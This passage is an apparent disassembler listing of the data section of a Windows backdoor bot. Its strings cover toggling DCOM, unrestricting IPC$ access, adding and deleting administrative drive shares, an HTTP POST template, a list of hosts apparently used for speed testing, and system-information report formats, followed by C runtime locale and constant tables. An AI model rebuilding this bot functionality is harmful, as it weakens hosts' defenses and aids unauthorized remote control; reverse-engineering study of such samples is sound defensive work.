dword_450808	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
dword_45082C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_417DB1:loc_417E1Eo
		dd 62617369h, 2E64656Ch, 0
dword_45084C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_417DB1+EDo
		align 10h
dword_450890	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
dword_4508CC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1:loc_417EBEo
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_450900	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1:loc_417EDCo
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_45093C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1:loc_417EE3o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_45096C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_450990	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1:loc_418013o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_4509BC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_4509E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1:loc_417F80o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_450A0C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_450A34	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_417DB1+2E5o
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
word_450A64	dw 59h			; DATA XREF: sub_4180D5+38r
		align 4
aEnabledcom_0	db 'EnableDCOM',0       ; DATA XREF: sub_4180D5+54o
		align 4
dword_450A74	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
dword_450A98	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_4180D5:loc_418142o
		dd 6C62616Eh, 2E6465h
dword_450AB4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+91o
aFailedToOpen_0	db '- Failed to open DCOM registry key.',0
aRestrictanon_0	db 'restrictanonymous',0 ; DATA XREF: sub_4180D5+EDo
		align 4
dword_450AF8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_450B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5:loc_4181DEo
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 10h
dword_450B70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5:loc_4181FCo
aFailedToOpen_1	db '- Failed to open IPC$ restriction registry key.',0
dword_450BAC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5:loc_418203o
aAdvapi32_dll_0	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_450BDC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+192o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_450BFC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5:loc_41826Eo
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
aC_2		db '%c$',0              ; DATA XREF: sub_4180D5+216o
aC_3		db '%c:\',0             ; DATA XREF: sub_4180D5+227o
		align 10h
dword_450C30	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+263o
aShareSAdded__0	db '- Share ',27h,'%s',27h,' added.',0
dword_450C50	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5:loc_41833Fo
aFailedToAddS_0	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_450C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+2C0o
aNetworkSharesA	db '- Network shares added.',0
dword_450C9C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_4180D5+2D8o
aNetapi32_dll_1	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_418406+DEo
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
asc_450D00	db 0Dh,0Ah,0		; DATA XREF: sub_418406+F2o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_4185E1+15o
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_4185E1+1Co
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_4185E1+23o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_4185E1+2Ao
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_4185E1+31o
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_4185E1+38o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_4185E1+3Fo
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_4185E1+46o
		align 10h
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_4185E1+4Do
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_4185E1+54o
		align 10h
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_4185E1+5Bo
		align 10h
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_4185E1+62o
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_4185E1+69o
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_4185E1+70o
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_4185E1+77o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_4185E1+7Eo
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_4185E1+85o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_4185E1+8Co
		align 10h
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_4185E1+93o
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_4185E1+9Ao
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_4185E1+A1o
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_4185E1+A8o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_4185E1+AFo
		align 10h
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_4185E1+B6o
		align 10h
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_4185E1+BDo
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_4185E1+C4o
		align 10h
dword_450EB0	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_4185E1+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
dword_450F10	dd 20646425h, 20686425h, 6D6425h ; DATA	XREF: sub_4187BE+52o
dword_450F1C	dd 3539h		; DATA XREF: sub_41897B+46o
dword_450F20	dd 544Eh		; DATA XREF: sub_41897B+5Ao
dword_450F24	dd 3839h		; DATA XREF: sub_41897B+6Co
dword_450F28	dd 454Dh		; DATA XREF: sub_41897B+7Eo
dword_450F2C	dd 4B32h		; DATA XREF: sub_41897B+98o
dword_450F30	dd 5058h		; DATA XREF: sub_41897B+AAo
a2003		db '2003',0             ; DATA XREF: sub_41897B+BAo
		align 4
a???		db '???',0              ; DATA XREF: sub_41897B:loc_418A3Eo
aSS_6		db '%s (%s)',0          ; DATA XREF: sub_41897B+EBo
word_450F48	dw 3Fh			; DATA XREF: sub_41897B:loc_418A7Dr
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41897B:loc_418ADFo
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41897B+192o
aHhMmSs_0	db 'HH:mm:ss',0         ; DATA XREF: sub_41897B+1AEo
		align 4
dword_450F7C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41897B+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_451058	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_418C2F+48o
dword_451068	dd 6C616944h, 70752Dh	; DATA XREF: sub_418C2F+5Bo
off_451070	dd offset dword_4E414C	; DATA XREF: sub_418C2F:loc_418C9Co
off_451074	dd offset loc_412F4E	; DATA XREF: sub_418C2F+77o
off_451078	dd offset loc_412F4E	; DATA XREF: sub_418C2F+88o
dword_45107C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_418C2F+AEo
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
dword_4510C0	dd 1			; DATA XREF: sub_418FC0+10r
					; sub_418FC0+F2r ...
dword_4510C4	dd 25h			; DATA XREF: sub_418FC0:loc_41900Cr
					; sub_418FC0:loc_419175r ...
dword_4510C8	dd 0FFFFFFFFh		; DATA XREF: sub_418FC0+58r
					; sub_4193C0+9Er ...
byte_4510CC	db 0FDh			; DATA XREF: sub_418FC0+2B7r
					; sub_418FC0+2D1r ...
byte_4510CD	db 0DDh			; DATA XREF: sub_4199B0+257r
					; sub_4199B0+39Br ...
byte_4510CE	db 0CDh			; DATA XREF: sub_418FC0+2F1r
					; sub_4193C0+377r
		align 10h
off_4510D0	dd offset aFree		; DATA XREF: sub_4199B0+177r
					; sub_4199B0+1DDr ...
					; "Free"
		dd offset dword_437514+20h
		dd offset dword_437514+1Ch
		dd offset dword_437514+14h
		dd offset dword_437514+0Ch
		align 10h
dword_4510F0	dd 173Fh		; DATA XREF: sub_41CCD0+Br
		dd 9875h, 9873h
off_4510FC	dd offset sub_41CE10	; DATA XREF: sub_41B540+3r
					; sub_41B540+Cr
		dd offset sub_41CE40
		dd offset sub_41CE40
dword_451108	dd 1B3Fh		; DATA XREF: sub_41CEF0+Br
dword_45110C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D4DD+2o
					; sub_41D4E6+2o
off_451120	dd offset sub_41B5A0	; DATA XREF: sub_41EB30+22r
dword_451124	dd 2			; DATA XREF: sub_42AAC0+15r
					; sub_42AB10+86r ...
off_451128	dd offset dword_4EFFA0	; DATA XREF: sub_41EB90+B3o
					; sub_41ECE0+3o ...
		align 10h
		dd offset dword_4EFFA0
		dd 101h
dword_451138	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41EB90+11Cw
		dd 1000h, 0
dword_451148	dd 3 dup(0)		; DATA XREF: sub_422AF0+111o
					; sub_424AA0:loc_424AF3o
		dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451168	dd 3 dup(0)		; DATA XREF: sub_422AF0+11Ao
					; sub_424AA0:loc_424B05o
		dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451388	dd 8 dup(0)		; DATA XREF: sub_41ECE0+Co
					; sub_41ED50+Co
dword_4513A8	dd 0FFFFFFFFh		; DATA XREF: sub_41EED0+80o
					; sub_41EED0+108o ...
dword_4513AC	dd 2			; DATA XREF: .nsp0:0041EDEEr
					; .nsp0:0041EE09r ...
		dd 2 dup(4)
dword_4513B8	dd 0FFFFFFFFh		; DATA XREF: .nsp0:0041EE50r
					; .nsp0:0041EE5Cr ...
		dd 2 dup(0FFFFFFFFh)
off_4513C4	dd offset aWarning	; DATA XREF: sub_41F260+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_437D44+8
dword_4513D0	dd 0			; DATA XREF: sub_41FAA0+1Fr
					; sub_41FAA0+44r ...
off_4513D4	dd offset dword_4EF900	; DATA XREF: sub_41FA60+29r
					; sub_41FAA0+8Fr
		dd 7 dup(0)
off_4513F4	dd offset dword_4EF930	; DATA XREF: sub_41FA60+1Cr
					; sub_41FAA0:loc_41FB09r
		dd 3 dup(0)
off_451404	dd offset dword_4EF948	; DATA XREF: sub_41FA60+Fr
					; sub_41FAA0+75r
		dd 3 dup(0)
off_451414	dd offset dword_4EF918	; DATA XREF: sub_41FA60+3r
					; sub_41FAA0+82r
		dd 7 dup(0)
		dd 9D0B40h, 16h	dup(0)
off_451490	dd offset sub_41FD10	; DATA XREF: sub_418FC0+79r
					; sub_4193C0+C1r ...
		dd 10h
dword_451498	dd 3F8h			; DATA XREF: sub_41FCA0+7r
					; sub_41FD20+3Cr ...
off_45149C	dd offset word_4514A6	; DATA XREF: sub_41ABF0+7Cr
					; sub_41B2F0+2Dr ...
off_4514A0	dd offset word_4514A6	; DATA XREF: sub_42F970+2A4w
					; sub_42F970+35Bw
		db 2 dup(0)
word_4514A6	dw 20h			; DATA XREF: sub_42F970:loc_42FCC1o
					; sub_42F970+35Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4516A8	dd 1			; DATA XREF: sub_41ABF0+4Er
					; sub_41B2F0:loc_41B2F6r ...
byte_4516AC	db 2Eh			; DATA XREF: sub_424CA0:loc_425B27r
					; sub_424CA0+ED2r ...
		align 10h
dword_4516B0	dd 1			; DATA XREF: sub_42F1E0+169w
					; sub_42F1E0+296w
off_4516B4	dd offset aNull_0	; DATA XREF: sub_422D70:loc_4231B2r
					; sub_422D70+57Cr
					; "(null)"
off_4516B8	dd offset aNull		; DATA XREF: sub_422D70+514r
					; "(null)"
dword_4516BC	dd 2			; DATA XREF: sub_423C10+Fw
					; sub_423C10+14r ...
byte_4516C0	db 1			; DATA XREF: sub_423EC0+12Fr
		db 2, 4, 8
		align 8
dword_4516C8	dd 3A4h			; DATA XREF: sub_423EC0+7Er
word_4516CC	dw 8260h		; DATA XREF: sub_423EC0+192r
		dw 8279h
		dd 21h,	0
dword_4516D8	dd 0DFA6h		; DATA XREF: sub_423EC0+D5r
		align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4517B8	dd 1			; DATA XREF: sub_424800+2Cr
dword_4517BC	dd 16h			; DATA XREF: sub_424800+3Dr
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_451920	dd 0D2D0920h, 5Dh	; DATA XREF: sub_424CA0:loc_4250C2o
dword_451928	dd 5Dh,	0		; DATA XREF: sub_424CA0:loc_42509Do
dword_451930	dd 14h			; DATA XREF: sub_426D50+1Fr
off_451934	dd offset aExp		; DATA XREF: sub_426D50+2Er
					; "exp"
		dd 1Dh,	43818Ch, 1Ah, 438188h, 1Bh, 438180h, 1Fh, 438178h
		dd 13h,	438170h, 21h, 438168h, 0Eh, 438160h, 0Dh, 438158h
		dd 0Fh,	438150h, 10h, 438148h, 5, 438140h, 1Eh,	43813Ch
		dd 12h,	438138h, 20h, 438134h, 0Ch, 43812Ch, 0Bh, 438124h
		dd 15h,	43811Ch, 1Ch, 438114h, 19h, 43810Ch, 11h, 438104h
		dd 18h,	4380FCh, 16h, 4380F4h, 17h, 4380ECh, 22h, 4380E8h
		dd 23h,	4380E4h, 24h, 4380E0h
dbl_451A08	dq 1.797693134862316e308 ; DATA	XREF: sub_4268F0+E4r
					; sub_4268F0:loc_4269E7r ...
		dd 0
		dd 0FFF80000h
dbl_451A18	dq 1.797693134862316e308 ; DATA	XREF: sub_4268F0:loc_426A2Ar
					; sub_4268F0+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_451A30	dt 2.3562723457267347066e313 ; DATA XREF: sub_427140+13r
					; sub_427140+2Ar
		align 4
tbyte_451A3C	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_427140+41r
		align 4
off_451A48	dd offset sub_427930	; DATA XREF: sub_41CE50+3w
					; sub_422D70+6ADr
off_451A4C	dd offset sub_427340	; DATA XREF: sub_41CE50+Dw
					; sub_422D70+6F1r
off_451A50	dd offset sub_427450	; DATA XREF: sub_41CE50+17w
					; sub_424CA0+1138r
off_451A54	dd offset sub_427290	; DATA XREF: sub_41CE50+21w
					; sub_422D70+6CFr
off_451A58	dd offset sub_427420	; DATA XREF: sub_41CE50+2Bw
off_451A5C	dd offset sub_427930	; DATA XREF: sub_41CE50+35w
		dd offset sub_42DDD0
		align 10h
off_451A70	dd offset sub_428670	; DATA XREF: sub_428720+2Dr
					; sub_428720+3Dr
dword_451A74	dd 43h			; DATA XREF: sub_428C90:loc_428DFCo
					; .nsp0:00451B90o ...
dword_451A78	dd 43h,	20h dup(0)	; DATA XREF: sub_428F30+8Do
					; sub_428F30+117o ...
dword_451AFC	dd 43h,	20h dup(0)	; DATA XREF: sub_428F30+74o
					; sub_428F30+FCo ...
off_451B80	dd offset aLc_all	; DATA XREF: .nsp0:00428A1Fr
					; .nsp0:00428A38r ...
					; "LC_ALL"
dword_451B84	dd 0			; DATA XREF: .nsp0:00428917r
					; .nsp0:00428BC0r ...
off_451B88	dd offset sub_4290C0	; DATA XREF: sub_428C90+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_451A74
		dd offset sub_42FD10
		dd offset aLc_ctype	; "LC_CTYPE"
off_451B9C	dd offset dword_451A74	; DATA XREF: sub_428E30+F0r
		dd offset sub_42F970
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_451A74
		dd offset sub_42F510
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_451A74
		dd offset sub_42F1E0
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_451A74
		dd offset sub_42E860
dword_451BC8	dd 0C0000005h, 0Bh, 0	; DATA XREF: sub_423CD0+6o
					; .nsp0:00423E5Eo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_451C40	dd 3			; DATA XREF: sub_429AB0+98r
					; sub_429AB0:loc_429B5Br ...
dword_451C44	dd 7			; DATA XREF: sub_429AB0+B1r
					; sub_42B3C0+17Dr
dword_451C48	dd 78h			; DATA XREF: .nsp0:0042B238r
					; .nsp0:0042B256r
dword_451C4C	dd 0Ah			; DATA XREF: sub_429C70+1Dr
					; sub_429C70:loc_429CA2r ...
dword_451C50	dd 0FFFFFFFFh, 0A00h, 8	dup(0) ; DATA XREF: sub_421F10:loc_422066o
					; sub_422AF0:loc_422CE9o
dword_451C78	dd 2			; DATA XREF: sub_42AB10+2Ar
					; sub_42AB10+3Dr ...
off_451C7C	dd offset aR6002FloatingP ; DATA XREF: sub_42AB10+56r
					; sub_42AB10+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43853Ch, 9, 438510h, 0Ah,	4384ECh, 10h, 4384C0h
		dd 11h,	438490h, 12h, 43846Ch, 13h, 438440h, 18h, 438408h
		dd 19h,	4383E0h, 1Ah, 4383A8h, 1Bh, 438370h, 1Ch, 438348h
		dd 78h,	438338h, 79h, 438328h, 7Ah, 438318h, 0FCh, 438314h
		dd 0FFh, 438304h, 2 dup(0)
dword_451D10	dd 2694h		; DATA XREF: sub_4261C0+3r
					; .nsp0:0042622Fr ...
		align 8
dword_451D18	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA	XREF: sub_42D910+3o
dword_451D30	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42D930+3o
dword_451D48	dd 7080h		; DATA XREF: sub_4287B0+92r
					; sub_42DF80+80w ...
dword_451D4C	dd 1			; DATA XREF: sub_4287B0+C2r
					; sub_42DF80+BFw ...
dword_451D50	dd 0FFFFF1F0h		; DATA XREF: sub_4287B0+DEr
					; sub_42DF80+D7w ...
dword_451D54	dd 545350h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_451DD4o
dword_451D94	dd 544450h, 0Fh	dup(0)	; DATA XREF: .nsp0:off_451DD8o
off_451DD4	dd offset dword_451D54	; DATA XREF: sub_42DF80+FAr
					; sub_42DF80+123r ...
off_451DD8	dd offset dword_451D94	; DATA XREF: sub_42DF80+140r
					; sub_42DF80+16Ar ...
		align 10h
dword_451DE0	dd 0FFFFFFFFh		; DATA XREF: sub_42DF80+30w
					; sub_42E360+1Ar ...
dword_451DE4	dd 0			; DATA XREF: sub_42E360:loc_42E55Br
					; sub_42E360+20Fr ...
dword_451DE8	dd 0			; DATA XREF: sub_42E360+2CFr
					; sub_42E660+13Dw
		align 10h
dword_451DF0	dd 0FFFFFFFFh		; DATA XREF: sub_42DF80+21w
					; sub_42DF80+2Br ...
dword_451DF4	dd 0			; DATA XREF: sub_42E360+201r
					; sub_42E360+21Dr ...
dword_451DF8	dd 0			; DATA XREF: sub_42E360+2E5r
					; sub_42E660+1Dr ...
dword_451DFC	dd 0FFFFFFFFh		; DATA XREF: sub_42E660+B0r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_451E2C	dd 16Dh			; DATA XREF: sub_4287B0+2Er
					; sub_42E660+2Cr ...
dword_451E30	dd 0FFFFFFFFh		; DATA XREF: sub_42E660+BFr
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 3 dup(0)
dword_451E70	dd 40Ah			; DATA XREF: sub_4308C0+3Er
					; sub_4308C0+147r
a040a		db '040a',0             ; DATA XREF: sub_4308C0+9Ao
		align 4
off_451E7C	dd offset aSpanishTraditi ; DATA XREF: sub_4308C0+ABr
					; "Spanish - Traditional Sort"
off_451E80	dd offset byte_505345	; DATA XREF: sub_4308C0+BCo
off_451E84	dd offset aSpain	; DATA XREF: sub_4308C0+CDr
					; "Spain"
off_451E88	dd offset byte_505345	; DATA XREF: sub_4308C0+DEo
dword_451E8C	dd 303538h, 0		; DATA XREF: sub_4308C0+EFo
a1252		db '1252',0             ; DATA XREF: sub_4308C0+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset loc_415244+2
		dd offset aFrance	; "France"
		dd offset loc_415244+2
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd offset byte_515545
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425244+2
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset loc_414544
		dd offset aAustria	; "Austria"
		dd 545541h, 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset loc_414E45
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset loc_435246
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h, 438784h, 454843h, 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_435345
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_415344+1
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h, 438754h, 46415Ah, 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_445345
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h, 438734h, 4E4556h, 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
